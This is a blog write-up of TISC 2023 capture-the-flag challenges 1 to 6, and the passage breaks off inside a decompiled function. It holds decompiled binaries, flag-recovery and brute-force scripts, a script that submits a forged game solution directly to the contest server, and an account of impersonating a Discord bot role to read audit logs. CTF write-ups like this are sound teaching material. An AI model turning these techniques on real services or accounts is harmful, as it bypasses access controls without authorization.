TISC 2023

Missing out on free moneyz
tisc ctf pwn web crypto

I played TISC for ~two days and managed to reach to level 8. This is slightly worse than last year, especially since there are more winners this year. Here are the writeups for some of the challenges I solved.

Challenge 1

We are given a challenge.img file that looks like a disk image. You can open this using Autopsy and explore around.

One of the deleted files is f00000008.elf which is likely what the ‘catastrophic malware’ in the challenge description is talking about.

Opening this ELF file in IDA Pro gives the below code:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // r12
v3 = randstr;
srand(0x1EFB171u);
do
*v3++ = rand() % 26 + 97;
while ( v3 != &randstr[32] );
printf("TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}", randstr);
return 0;
}

For whatever reason, I couldn’t run the binary. So I just rewrote it in python and solved it:

from ctypes import CDLL
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x1EFB171)
randstr = [0]*32
for i in range(32):
randstr[i] = chr(libc.rand() % 26 + 97)
print(randstr)
print("TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}"% (''.join( randstr)))

Challenge 2

We are given a binary as well as the source code.

int main(int argc, char **argv)
{
char password[MAX_PASSWORD_SIZE + 1] = { 0 };
int password_length;
unsigned char key[32];
printf("Hello PALINDROME member, please enter password:");
password_length = input_password(password);
if (password_length < 40) {
printf("The password should be at least 40 characters as per PALINDROME's security policy.\n");
exit(0);
}
if (!verify_password(password, password_length)) {
initialise_key(key, password, password_length);
show_welcome_msg(key);
}
else {
printf("Failure! \n");
exit(0);
}
}

After we input our password, there is a verification method (below) that is hard to bypass since its a SHA256 check. After that, we initialize the key according to our password. show_welcome_msg does GCM decryption to print out the flag.

int verify_password(char *password, int password_length) {
unsigned char mdVal[EVP_MAX_MD_SIZE];
unsigned int i;
calculate_sha256(mdVal, password, password_length);
uint64_t hash[] = { 0x962fe02a147163af,
0x8003eb5b7ff75652,
0x3220981f9f027e35,
0xfb933faadd7944b7};
return memcmp(mdVal, hash, 32);
}

The crux of this challenge is in initialise_key:

typedef struct uint256 {
uint64_t a0;
uint64_t a1;
uint64_t a2;
uint64_t a3;
} uint256_t;
void accumulate_xor(uint256_t *result, uint256_t *arr_entry) {
result->a0 ^= arr_entry->a0;
result->a1 ^= arr_entry->a1;
result->a2 ^= arr_entry->a2;
result->a3 ^= arr_entry->a3;
}
void initialise_key(unsigned char *key, char *password, int password_length) {
const char *seed = "PALINDROME IS THE BEST!";
int i, j;
int counter = 0;
uint256_t *key256 = (uint256_t *)key;
key256->a0 = 0;
key256->a1 = 0;
key256->a2 = 0;
key256->a3 = 0;
uint256_t arr[20] = { 0 };
calculate_sha256((unsigned char *) arr, (unsigned char *) seed, strlen(seed));
for (i = 1; i < 20; i++) {
calculate_sha256((unsigned char *)(arr+i), (unsigned char *) (arr+i-1), 32);
}
for (i = 0; i < password_length; i++) {
int ch = password[i];
for (j = 0; j < 8; j++) {
counter = counter % 20;
if (ch & 0x1) {
accumulate_xor(key256, arr+counter);
}
ch = ch >> 1;
counter++;
}
}
}

We initialize arr[20] with repeating SHA256 hashing of the salt. When we iterate through the password, we see that all that happens is that we have accumulate_xor (which is just int256 xor) running on each bit of the character (result in key256), with a wraparound at the 20th bit seen.

This means that key256 is a xor of entries in arr[20]. Notably, we realize that the actual content of password and its length does not matter - due to the nature of xor, each arr[i] is either XOR’ed with key256 or it is not. This results in only 2^20 possibilities and is easy to bruteforce.

Here is a script to do that using C:

int main(int argc, char **argv)
{
unsigned char key[32];
const char *seed = "PALINDROME IS THE BEST!";
int i, j;
int counter = 0;
uint256_t *key256 = (uint256_t *)key;
key256->a0 = 0;
key256->a1 = 0;
key256->a2 = 0;
key256->a3 = 0;
uint256_t arr[20] = { 0 };
calculate_sha256((unsigned char *) arr, (unsigned char *) seed, strlen(seed));
for (i = 1; i < 20; i++) {
calculate_sha256((unsigned char *)(arr+i), (unsigned char *) (arr+i-1), 32);
}
for (int i = 0; i < 1 << 20; i++) {
memset(key, 0, 32);
for (int x = 0; x < 20; x++) {
if ((i >> x) & 1) accumulate_xor(key256, &arr[x]);
}
if (i % 1000) { // just to alert
printf("%d\n", i);
}
if (show_welcome_msg(key)) {
break;
}
}
}

Challenge 3

We are given a file called kpa.apk. Supposedly you can’t just directly run this, there are supposed to be bytes at the end that are missing. Since apk files are just glorified zip files, I used 7zip (which is one of the more resilient software around there) to extract the classes.dex (compiled sources) and other folders such as resources.

We can then use any DEX decompiler to get the source code out. One of interesting entries is in com.tisc.kappa.MainActivity:

// ...
/* renamed from: com.tisc.kappa.MainActivity$c */
class C1053c implements View.OnClickListener {
C1053c() {
}
public void onClick(View view) {
((TextView) MainActivity.this.findViewById(C1227d.f5032f)).setVisibility(4);
((TextView) MainActivity.this.findViewById(C1227d.f5027a)).setVisibility(4);
try {
((InputMethodManager) MainActivity.this.getSystemService("input_method")).hideSoftInputFromWindow(MainActivity.this.getCurrentFocus().getWindowToken(), 0);
} catch (Exception unused) {
}
String obj = ((EditText) MainActivity.this.findViewById(C1227d.f5028b)).getText().toString();
if (obj.length() == 25) {
MainActivity.this.m5574Q(C1227d.f5032f, 3000);
MainActivity.this.m5570M(obj);
return;
}
MainActivity.this.m5574Q(C1227d.f5027a, 3000);
}
}
/* access modifiers changed from: private */
/* renamed from: M */
public void m5570M(String str) {
char[] charArray = str.toCharArray();
String valueOf = String.valueOf(charArray);
for (int i = 0; i < 1024; i++) {
valueOf = hash(valueOf, "SHA1");
}
if (!valueOf.equals("d8655ddb9b7e6962350cc68a60e02cc3dd910583")) {
((TextView) findViewById(C1227d.f5032f)).setVisibility(4);
m5574Q(C1227d.f5027a, 3000);
return;
}
char[] copyOf = Arrays.copyOf(charArray, charArray.length);
charArray[0] = (char) ((copyOf[24] * 2) + 1);
charArray[1] = (char) (((copyOf[23] - 1) / 4) * 3);
charArray[2] = Character.toLowerCase(copyOf[22]);
charArray[3] = (char) (copyOf[21] + '&');
charArray[4] = (char) ((Math.floorDiv(copyOf[20], 3) * 5) + 4);
charArray[5] = (char) (copyOf[19] - 1);
charArray[6] = (char) (copyOf[18] + '1');
charArray[7] = (char) (copyOf[17] + 18);
charArray[8] = (char) ((copyOf[16] + 19) / 3);
charArray[9] = (char) (copyOf[15] + '%');
charArray[10] = (char) (copyOf[14] + '2');
charArray[11] = (char) (((copyOf[13] / 5) + 1) * 3);
charArray[12] = (char) ((Math.floorDiv(copyOf[12], 9) + 5) * 9);
charArray[13] = (char) (copyOf[11] + 21);
charArray[14] = (char) ((copyOf[10] / 2) - 6);
charArray[15] = (char) (copyOf[9] + 2);
charArray[16] = (char) (copyOf[8] - 24);
charArray[17] = (char) ((int) (((double) copyOf[7]) + Math.pow(4.0d, 2.0d)));
charArray[18] = (char) ((copyOf[6] - 9) / 2);
charArray[19] = (char) (copyOf[5] + 8);
charArray[20] = copyOf[4];
charArray[21] = (char) (copyOf[3] - '\"');
charArray[22] = (char) ((copyOf[2] * 2) - 20);
charArray[23] = (char) ((copyOf[1] / 2) + 8);
charArray[24] = (char) ((copyOf[0] + 1) / 2);
m5573P("The secret you want is TISC{" + String.valueOf(charArray) + "}", "CONGRATULATIONS!", "YAY");
}
// ...

as well as com.tisc.kappa.C1054sw:

package com.tisc.kappa;
/* renamed from: com.tisc.kappa.sw */
public class C1054sw {
static {
System.loadLibrary("kappa");
}
/* renamed from: a */
public static void m5575a() {
try {
System.setProperty("KAPPA", css());
} catch (Exception unused) {
}
}
private static native String css();
}

We can see that we need to input some 25-length password which has a SHA1 hash that matches their hash. Afterwards, the letters are shuffled slightly and the flag is printed.

Now this makes no sense at first - since SHA1 hashes are still not very bruteforceable at this time. It’s a little disconnected, but the 25-length password is in the kappa library (css method) that is loaded and never used.

__int64 __fastcall JNI_OnLoad(__int64 a1)
{
unsigned int v1; // ebx
__int64 v2; // rbx
int v4; // [rsp+9h] [rbp-5Fh] BYREF
void *v5[3]; // [rsp+20h] [rbp-48h] BYREF
__int64 env; // [rsp+38h] [rbp-30h] BYREF
__int64 v7[5]; // [rsp+40h] [rbp-28h] BYREF
v7[3] = __readfsqword(0x28u);
v1 = 0;
if ( !(*(unsigned int (__fastcall **)(__int64, __int64 *, __int64))(*(_QWORD *)a1 + 48LL))(a1, &env, 65542LL) )
{
strcpy((char *)v5, "\"com/tisc/kappa/sw");
v4 = 'ssc';
v2 = (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)env + 48LL))(env, (char *)v5 + 1);
if ( (*(unsigned __int8 (__fastcall **)(__int64))(*(_QWORD *)env + 1824LL))(env) )
{
v1 = -1;
(*(void (__fastcall **)(__int64))(*(_QWORD *)env + 128LL))(env);
}
else
{
v7[0] = (__int64)&v4;
v7[1] = (__int64)"()Ljava/lang/String;";
v7[2] = (__int64)sub_201F0;
(*(void (__fastcall **)(__int64, __int64, __int64 *, __int64))(*(_QWORD *)env + 1720LL))(env, v2, v7, 1LL);
v1 = 65542;
}
if ( ((__int64)v5[0] & 1) != 0 )
operator delete(v5[2]);
}
return v1;
}

The library creates a binding between sub_201F0 and the css method.

__int64 __fastcall sub_201F0(__int64 a1)
{
unsigned int v2; // eax
bool v3; // r11
char v4; // dl
unsigned int v5; // esi
__int64 v6; // rcx
unsigned __int64 v7; // rdi
bool v8; // cc
_BYTE *v9; // rdi
__int64 v10; // rcx
char v11; // dl
unsigned __int64 v12; // rbx
unsigned __int64 v13; // rsi
_BYTE *v14; // rdi
char *v15; // rsi
__int64 v16; // rbx
char v18; // [rsp+8h] [rbp-60h] BYREF
char v19; // [rsp+9h] [rbp-5Fh] BYREF
void *v20; // [rsp+18h] [rbp-50h]
unsigned __int8 v21; // [rsp+20h] [rbp-48h] BYREF
_BYTE memarr1[15]; // [rsp+21h] [rbp-47h] BYREF
void *v23; // [rsp+30h] [rbp-38h]
unsigned __int8 v24; // [rsp+38h] [rbp-30h] BYREF
_BYTE memarr0[15]; // [rsp+39h] [rbp-2Fh] BYREF
void *ptr; // [rsp+48h] [rbp-20h]
unsigned __int64 v27; // [rsp+50h] [rbp-18h]
v27 = __readfsqword(0x28u);
v24 = 26;
*(_QWORD *)memarr0 = 0x2201290711231241LL;
*(_QWORD *)&memarr0[5] = 0x54010C170C220129LL;
memarr0[13] = 0;
v2 = 0;
v3 = 1;
v4 = 20;
v5 = 0;
v6 = 0LL;
do
{
v4 += v6;
if ( (_DWORD)v6 == 5 * (v5 / 5) )
v4 = 96;
v9 = memarr0;
if ( !v3 )
v9 = ptr;
v9[v6 + 1] ^= v4;
v3 = (v24 & 1) == 0;
if ( (v24 & 1) != 0 )
v7 = *(_QWORD *)&memarr0[7];
else
v7 = (unsigned __int64)v24 >> 1;
++v5;
v8 = v7 <= v6 + 2;
++v6;
}
while ( !v8 );
v21 = 24;
LOBYTE(v10) = 1;
*(_QWORD *)memarr1 = 0xA100F091B190957LL;
*(_DWORD *)&memarr1[8] = 1929976078;
memarr1[12] = 0;
v11 = 28;
v12 = 0LL;
do
{
v14 = memarr1;
if ( (v10 & 1) == 0 )
v14 = v23;
v10 = 3 * (v2 / 3);
v14[v12] ^= v11;
v11 += v12;
if ( (_DWORD)v12 == (_DWORD)v10 )
v11 = 72;
++v12;
LOBYTE(v10) = (v21 & 1) == 0;
if ( (v21 & 1) != 0 )
v13 = *(_QWORD *)&memarr1[7];
else
v13 = (unsigned __int64)v21 >> 1;
++v2;
}
while ( v13 > v12 );
std::operator+<char>(&v18, &v24, &v21, v10, memarr1, 0xAAAAAAABLL);
if ( (v18 & 1) != 0 )
v15 = (char *)v20;
else
v15 = &v19;
v16 = (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)a1 + 1336LL))(a1, v15);
if ( (v18 & 1) == 0 )
{
if ( (v21 & 1) == 0 )
goto LABEL_24;
LABEL_28:
operator delete(v23);
if ( (v24 & 1) == 0 )
return v16;
goto LABEL_25;
}
operator delete(v20);
if ( (v21 & 1) != 0 )
goto LABEL_28;
LABEL_24:
if ( (v24 & 1) != 0 )
LABEL_25:
operator delete(ptr);
return v16;
}

I really didn’t want to reverse this nonsense, but you’ll see that the return value is v16, and there are no parameters. So we can just emulate this by running the C code ourselves:

int main() {
unsigned int v2; // eax
int v3; // r11
char v4; // dl
unsigned int v5; // esi
long long v6; // rcx
unsigned char v7; // rdi
int v8; // cc
char *v9; // rdi
long long v10; // rcx
char v11; // dl
unsigned long long v12; // rbx
unsigned long long v13; // rsi
char *v14; // rdi
char *v15; // rsi
unsigned long long v16; // rbx
struct __attribute__((__packed__))
{
char v18; // [rsp+8h] [rbp-60h] BYREF
char v19; // [rsp+9h] [rbp-5Fh] BYREF
char _pad[0x10-2];
void *v20; // [rsp+18h] [rbp-50h]
//
unsigned char v21; // [rsp+20h] [rbp-48h] BYREF
char memarr1[15]; // [rsp+21h] [rbp-47h] BYREF
void *v23; // [rsp+30h] [rbp-38h]
unsigned char v24; // [rsp+38h] [rbp-30h] BYREF
char memarr0[15]; // [rsp+39h] [rbp-2Fh] BYREF
void *ptr; // [rsp+48h] [rbp-20h]
unsigned char v27; // [rsp+50h] [rbp-18h]
} _;
_.v24 = 26;
*(long *)_.memarr0 = 0x2201290711231241LL;
*(long *)&_.memarr0[5] = 0x54010C170C220129LL;
_.memarr0[13] = 0;
v2 = 0;
v3 = 1;
v4 = 20;
v5 = 0;
v6 = 0LL;
do
{
v4 += v6;
if ( (unsigned)v6 == 5 * (v5 / 5) )
v4 = 96;
v9 = _.memarr0;
if ( !v3 )
v9 = _.ptr;
v9[v6 + 1] ^= v4;
v3 = (_.v24 & 1) == 0;
if ( (_.v24 & 1) != 0 )
v7 = *(unsigned long long *)&_.memarr0[7];
else
v7 = (unsigned long long)_.v24 >> 1;
++v5;
v8 = v7 <= v6 + 2;
++v6;
}
while ( !v8 );
_.v21 = 24;
v10 = 1; // LOBYTE
*(unsigned long long *)_.memarr1 = 0xA100F091B190957LL;
*(unsigned int *)&_.memarr1[8] = 1929976078;
_.memarr1[12] = 0;
v11 = 28;
v12 = 0LL;
do
{
v14 = _.memarr1;
if ( (v10 & 1) == 0 )
v14 = _.v23;
v10 = 3 * (v2 / 3);
v14[v12] ^= v11;
v11 += v12;
if ( (unsigned int)v12 == (unsigned int)v10 )
v11 = 72;
++v12;
v10 = (_.v21 & 1) == 0;
if ( (_.v21 & 1) != 0 )
v13 = *(unsigned long long *)&_.memarr1[7];
else
v13 = (unsigned long long)_.v21 >> 1;
++v2;
}
while ( v13 > v12 );
if ( (_.v18 & 1) != 0 )
v15 = (char *)_.v20;
else
v15 = &_.v19;
printf("%s", v15);
//printf("%s", _.v20);
printf("%s", &_.v19);
}

Note the packed struct used for the non-register fields. This is to ensure they maintain the same memory layout as in the decompiler. After running this, I don’t get the password; but after some memory inspection, the text ArBraCaDabra? and KAPPACABANA! is left in memory (my script probably references the wrong memory still).

Appending these to each other and using them as the password, we get the flag:

copyOf = [ord(i) for i in "ArBraCaDabra?KAPPACABANA!"]
charArray = [0]*25
charArray[0] = ((copyOf[24] * 2) + 1)
charArray[1] = (((copyOf[23] - 1) // 4) * 3)
charArray[2] = ord(chr(copyOf[22]).lower())
charArray[3] = (copyOf[21] + ord('&'))
charArray[4] = ((copyOf[20]// 3) * 5) + 4
charArray[5] = (copyOf[19] - 1)
charArray[6] = (copyOf[18] + ord('1'))
charArray[7] = (copyOf[17] + 18)
charArray[8] = ((copyOf[16] + 19) // 3)
charArray[9] = (copyOf[15] + ord('%'))
charArray[10] = (copyOf[14] + ord('2'))
charArray[11] = (((copyOf[13] // 5) + 1) * 3)
charArray[12] = ((copyOf[12]// 9) + 5) * 9
charArray[13] = (copyOf[11] + 21)
charArray[14] = ((copyOf[10] // 2) - 6)
charArray[15] = (copyOf[9] + 2)
charArray[16] = (copyOf[8] - 24)
charArray[17] = (copyOf[7] + 16 )
charArray[18] = ((copyOf[6] - 9) // 2)
charArray[19] = (copyOf[5] + 8)
charArray[20] = copyOf[4]
charArray[21] = (copyOf[3] - ord('\"'))
charArray[22] = ((copyOf[2] * 2) - 20)
charArray[23] = ((copyOf[1] // 2) + 8)
charArray[24] = ((copyOf[0] + 1) // 2)
print(charArray)
print("The secret you want is TISC{" + ''.join(chr(c) for c in charArray) + "}", "CONGRATULATIONS!", "YAY")

Challenge 4

We are given binaries of the game. A quick lookaround shows that its Electron-based, so I extracted the app.asar file. The minified source code of the game is provided as well. Here are the important bits:

const Du = ee,
ju = "http://rubg.chals.tisc23.ctf.sg:34567",
Sr = Du.create({
baseURL: ju
});
async function Hu() {
return (await Sr.get("/generate")).data
}
async function $u(e) {
return (await Sr.post("/solve", e)).data
}
async function ku() {
return (await Sr.get("/")).data
}
const Ku = "" + new URL("bomb-47e36b1b.wav", import.meta.url).href,
qu = "" + new URL("gameover-c91fde36.wav", import.meta.url).href,
_s = "" + new URL("victory-3e1ba9c7.wav", import.meta.url).href
// ...
df = Zs({
__name: "BattleShips",
setup(e) {
const t = Ke([0]),
n = Ke(BigInt("0")),
r = Ke(BigInt("0")),
s = Ke(0),
o = Ke(""),
i = Ke(100),
l = Ke(new Array(256).fill(0)),
c = Ke([]);
function f(x) {
let _ = [];
for (let y = 0; y < x.a.length; y += 2) _.push((x.a[y] << 8) + x.a[y + 1]);
return _
}
function d(x) {
return (t.value[Math.floor(x / 16)] >> x % 16 & 1) === 1
}
async function m(x) {
if (d(x)) {
if (t.value[Math.floor(x / 16)] ^= 1 << x % 16, l.value[x] = 1, new Audio(Ku).play(), c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`), t.value.every(_ => _ === 0))
if (JSON.stringify(c.value) === JSON.stringify([...c.value].sort())) {
const _ = {
a: [...c.value].sort().join(""),
b: s.value
};
i.value = 101, o.value = (await $u(_)).flag, new Audio(_s).play(), i.value = 4
} else i.value = 3, new Audio(_s).play()
} else i.value = 2, new Audio(qu).play()
}
async function E() {
i.value = 101;
let x = await Hu();
// t = a, n = b, r = c, s = d
t.value = f(x), n.value = BigInt(x.b), r.value = BigInt(x.c), s.value = x.d, i.value = 1, l.value.fill(0), c.value = [], o.value = ""
}
return _r(async () => {
await ku() === "pong" && (i.value = 0)
}), (x, _) => (de(), pe(me, null, [i.value === 100 ? (de(), pe("div", zu, Ju)) : Me("", !0), i.value === 101 ? (de(), pe("div", Vu, Xu)) : Me("", !0), i.value === 0 ? (de(), pe("div", Qu, [Zu, W("div", null, [W("button", {
onClick: _[0] || (_[0] = y => E())
}, "START GAME")])])) : Me("", !0), i.value === 1 ? (de(), pe("div", Gu, [(de(), pe(me, null, al(256, y => W("button", {
ref_for: !0,
ref: "shipCell",
class: on(l.value[y - 1] === 1 ? "cell hit" : "cell"),
onClick: H => m(y - 1),
disabled: l.value[y - 1] === 1
}, null, 10, ef)), 64))])) : Me("", !0), i.value === 2 ? (de(), pe("div", tf, [nf, W("div", null, [W("button", {
onClick: _[1] || (_[1] = y => E())
}, "RETRY")])])) : Me("", !0), i.value === 3 ? (de(), pe("div", rf, [sf, W("div", null, [W("button", {
onClick: _[2] || (_[2] = y => E())
}, "RETRY")])])) : Me("", !0), i.value === 4 ? (de(), pe("div", of, [lf, o.value ? (de(), pe("div", cf, ko(o.value), 1)) : Me("", !0)])) : Me("", !0), i.value !== 100 ? (de(), pe("audio", uf, af)) : Me("", !0)], 64))
}
});

After the HTTP methods (seems like axios?) setup, we have a component that is minified. E seems to be called first to setup, and it calls Hu to call the /generate endpoint.

The response is used to formulate the variables t, n, r, s. t is an array of integers representing a row on the map (so each bit is a cell). Every time we click on a cell it checks the bit at the row,col index to see if its 1 (implying that this is the battleship valid position).

To check if have solved it (and in the correct order) it does c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`) for each cell clicked, and checks JSON.stringify(c.value) === JSON.stringify([...c.value].sort()), so there is a order required for the button presses. This is still easy to derive however, since we ourselves can just sort it.

(async () => {
const req = await fetch('http://rubg.chals.tisc23.ctf.sg:34567/generate');
const gen = await req.json();
const c = [];
const n = BigInt(gen.b);
const r = BigInt(gen.c);
const s = gen.d;
function f(x) {
let _ = [];
for (let y = 0; y < x.a.length; y += 2) _.push((x.a[y] << 8) + x.a[y + 1]);
return _
}
const t = f(gen);
console.log('t', t);
for (x = 0; x < 256; x++) {
if (t[Math.floor(x/16)] >> x % 16 & 1 === 1) {
c.push(`${n.toString(16).padStart(16,"0")[15-x%16]}${r.toString(16).padStart(16,"0")[Math.floor(x/16)]}`)
}
}
const _ = {
a: [...c].sort().join(""),
b: s
};
const solvereq = await fetch('http://rubg.chals.tisc23.ctf.sg:34567/solve', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(_)
});
const data = await solvereq.text();
console.log(data);
})()

Challenge 5

The most annoying challenge out of all of them :) , but still requires skill so I won’t complain (that much).

We are given a link to a Github Repo. One of the commits mentions that the build fails, so checking the Github Actions log shows some info:

We can see the host, port, and url of the web request we are making. Navigating to the site shows a platform to get a discord invite as a bot role. I used this client below that totally looks a scam so I ran it in my VM to impersonate the bot role.

Logging in gives access to a #meeting-records channel where there is a thread with funny messages:

It talks about permission 66688 which I originally read as intent 66688 and wasted some time trying to see what I could do with that.

Permission 66688 also includes View Audit permissions, so I wrote a small script to extract all audit events:

One of the audit logs includes a link for a BetterInvites bot which gives access to the #flag channel.

Challenge 6

It’s here that the challenges split between Web and Pwn categories. I choose to do the Pwn track (even though the Web track honestly looked easier) since I wanted to see how hard it could get.

The challenge was a binary called 4d. Initially I thought it was Golang-based but it turns out it was Vlang-based. The calling convention and decompilations looked so similar.

Anyway, the server shows a index page that subscribes to a Server-Sent Events endpoint. The endpoint generates 4d numbers, then checks if shuffling some per-user data will yield a certain condition:

void *__usercall main__compare@<rax>(vstr keyMix@<^0.16>)
{
int v1; // edx
int v2; // ecx
int v3; // r8d
int v4; // r9d
int v5; // edx
int v6; // ecx
int v7; // r8d
int v8; // r9d
int v9; // edx
int v10; // ecx
int v11; // r8d
int v12; // r9d
int v13; // edx
int v14; // ecx
int v15; // r8d
int v16; // r9d
int v17; // edx
int v18; // ecx
int v19; // r8d
int v20; // r9d
int v21; // edx
int v22; // ecx
int v23; // r8d
int v24; // r9d
int v25; // edx
int v26; // ecx
int v27; // r8d
int v28; // r9d
int v29; // edx
int v30; // ecx
int v31; // r8d
int v32; // r9d
int v33; // edx
int v34; // ecx
int v35; // r8d
int v36; // r9d
int v37; // edx
int v38; // ecx
int v39; // r8d
int v40; // r9d
int v41; // edx
int v42; // ecx
int v43; // r8d
int v44; // r9d
int v45; // edx
int v46; // ecx
int v47; // r8d
int v48; // r9d
int v49; // edx
int v50; // ecx
int v51; // r8d
int v52; // r9d
int v53; // edx
int v54; // ecx
int v55; // r8d
int v56; // r9d
int v57; // edx
int v58; // ecx
int v59; // r8d
int v60; // r9d
int v61; // edx
int v62; // ecx
int v63; // r8d
int v64; // r9d
int v65; // edx
int v66; // ecx
int v67; // r8d
int v68; // r9d
int v69; // edx
int v70; // ecx
int v71; // r8d
int v72; // r9d
int v73; // edx
int v74; // ecx
int v75; // r8d
int v76; // r9d
int v77; // edx
int v78; // ecx
int v79; // r8d
int v80; // r9d
int v81; // edx
int v82; // ecx
int v83; // r8d
int v84; // r9d
int v85; // edx
int v86; // ecx
int v87; // r8d
int v88; // r9d
int v89; // edx
int v90; // ecx
int v91; // r8d
int v92; // r9d
int v93; // edx
int v94; // ecx
int v95; // r8d
int v96; // r9d
int v97; // edx
int v98; // ecx
int v99; // r8d
int v100; // r9d
int v101; // edx
int v102; // ecx
int v103; // r8d
int v104; // r9d
int v105; // edx
int v106; // ecx
int v107; // r8d
int v108; // r9d
int v109; // edx
int v110; // ecx
int v111; // r8d
int v112; // r9d
int v113; // edx
int v114; // ecx
int v115; // r8d
int v116; // r9d
int v117; // edx
int v118; // ecx
int v119; // r8d
int v120; // r9d
int v121; // edx
int v122; // ecx
int v123; // r8d
int v124; // r9d
int v125; // edx
int v126; // ecx
int v127; // r8d
int v128; // r9d
vstr v130; // [rsp-20h] [rbp-30h] BYREF
int v131; // [rsp-10h] [rbp-20h]
int v132; // [rsp-8h] [rbp-18h]
void *dest; // [rsp+8h] [rbp-8h]
if ( keyMix.len != 32 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(31, (unsigned int)&keyMix, v1, v2, v3, v4, v130.ptr, v130.ref, v131, v132) != 118 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(19, (unsigned int)&keyMix, v5, v6, v7, v8, v130.ptr, v130.ref, v131, v132) )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(21, (unsigned int)&keyMix, v9, v10, v11, v12, v130.ptr, v130.ref, v131, v132) != 87 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(13, (unsigned int)&keyMix, v13, v14, v15, v16, v130.ptr, v130.ref, v131, v132) != 19 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(30, (unsigned int)&keyMix, v17, v18, v19, v20, v130.ptr, v130.ref, v131, v132) != 110 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(14, (unsigned int)&keyMix, v21, v22, v23, v24, v130.ptr, v130.ref, v131, v132) != 84 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(20, (unsigned int)&keyMix, v25, v26, v27, v28, v130.ptr, v130.ref, v131, v132) != 63 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(24, (unsigned int)&keyMix, v29, v30, v31, v32, v130.ptr, v130.ref, v131, v132) != 91 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(12, (unsigned int)&keyMix, v33, v34, v35, v36, v130.ptr, v130.ref, v131, v132) != 43 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(29, (unsigned int)&keyMix, v37, v38, v39, v40, v130.ptr, v130.ref, v131, v132) != 22 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(11, (unsigned int)&keyMix, v41, v42, v43, v44, v130.ptr, v130.ref, v131, v132) != 104 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(10, (unsigned int)&keyMix, v45, v46, v47, v48, v130.ptr, v130.ref, v131, v132) != 17 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(2, (unsigned int)&keyMix, v49, v50, v51, v52, v130.ptr, v130.ref, v131, v132) != 100 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(6, (unsigned int)&keyMix, v53, v54, v55, v56, v130.ptr, v130.ref, v131, v132) != 23 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(0, (unsigned int)&keyMix, v57, v58, v59, v60, v130.ptr, v130.ref, v131, v132) != 106 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(18, (unsigned int)&keyMix, v61, v62, v63, v64, v130.ptr, v130.ref, v131, v132) != 40 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(27, (unsigned int)&keyMix, v65, v66, v67, v68, v130.ptr, v130.ref, v131, v132) != 28 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(25, (unsigned int)&keyMix, v69, v70, v71, v72, v130.ptr, v130.ref, v131, v132) != 20 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(1, (unsigned int)&keyMix, v73, v74, v75, v76, v130.ptr, v130.ref, v131, v132) != 1 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(22, (unsigned int)&keyMix, v77, v78, v79, v80, v130.ptr, v130.ref, v131, v132) != 59 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(17, (unsigned int)&keyMix, v81, v82, v83, v84, v130.ptr, v130.ref, v131, v132) != 104 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(8, (unsigned int)&keyMix, v85, v86, v87, v88, v130.ptr, v130.ref, v131, v132) != 117 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(23, (unsigned int)&keyMix, v89, v90, v91, v92, v130.ptr, v130.ref, v131, v132) != 126 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
